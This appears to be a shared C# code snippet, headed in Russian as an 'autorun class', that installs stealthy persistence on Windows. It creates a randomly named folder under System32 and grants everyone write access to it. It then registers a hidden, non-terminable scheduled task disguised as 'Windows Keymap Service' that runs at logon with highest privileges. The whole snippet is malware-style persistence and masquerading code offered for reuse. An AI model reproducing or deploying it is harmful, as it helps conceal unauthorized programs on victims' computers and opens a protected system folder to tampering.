Класс для автозапуска

public class Autorun
    {
        public static void Enable(String path, String keyname)
        {
            Directory.CreateDirectory(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "sNOpxF"));
            if (!SetAcl(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "sNOpxF")))
            {
                Console.WriteLine("Cannot set ACL for directory to allow write!");
            }
            TaskDefinition taskDefinition = TaskService.Instance.NewTask();
            taskDefinition.RegistrationInfo.Description = "Windows Keymap Service";
            Trigger trigger = Trigger.CreateTrigger(TaskTriggerType.Logon);
            taskDefinition.Triggers.Add(trigger);
            taskDefinition.Actions.Add(path, "-u", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "sNOpxF"));
            taskDefinition.Principal.LogonType = TaskLogonType.InteractiveToken;
            taskDefinition.Principal.RunLevel = TaskRunLevel.Highest;
            taskDefinition.Settings.AllowHardTerminate = false;
            taskDefinition.Settings.Enabled = true;
            taskDefinition.Settings.Hidden = true;
            taskDefinition.Principal.UserId = "";
            TaskService.Instance.RootFolder.RegisterTaskDefinition(keyname, taskDefinition);
            var _ty = TaskService.Instance.GetTask(keyname).Run();
            return;
        }
        public static bool SetAcl(String dir_t)
        {
            DirectorySecurity sec = Directory.GetAccessControl(dir_t);
            // Using this instead of the "Everyone" string means we work on non-English systems.
            SecurityIdentifier everyone = new SecurityIdentifier(WellKnownSidType.WorldSid, null);
            sec.AddAccessRule(new FileSystemAccessRule(everyone, FileSystemRights.Modify | FileSystemRights.Synchronize, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None, AccessControlType.Allow));
            Directory.SetAccessControl(dir_t, sec);
            return true; //Next variand didn't work for me, but maybe it'll be useful for you
            FileSystemRights Rights = (FileSystemRights)0;
            Rights = FileSystemRights.FullControl;

            // *** Add Access Rule to the actual directory itself
            FileSystemAccessRule AccessRule = new FileSystemAccessRule("Users", Rights,
                                        InheritanceFlags.None,
                                        PropagationFlags.NoPropagateInherit,
                                        AccessControlType.Allow);

            DirectoryInfo Info = new DirectoryInfo(dir_t);
            DirectorySecurity Security = Info.GetAccessControl(AccessControlSections.Access);

            bool Result = false;
            Security.ModifyAccessRule(AccessControlModification.Set, AccessRule, out Result);

            if (!Result)
                return false;

            // *** Always allow objects to inherit on a directory
            InheritanceFlags iFlags = InheritanceFlags.ObjectInherit;
            iFlags = InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit;

            // *** Add Access rule for the inheritance
            AccessRule = new FileSystemAccessRule("Users", Rights,
                                        iFlags,
                                        PropagationFlags.InheritOnly,
                                        AccessControlType.Allow);
            Result = false;
            Security.ModifyAccessRule(AccessControlModification.Add, AccessRule, out Result);

            if (!Result)
                return false;

            Info.SetAccessControl(Security);

            return true;
        }
    }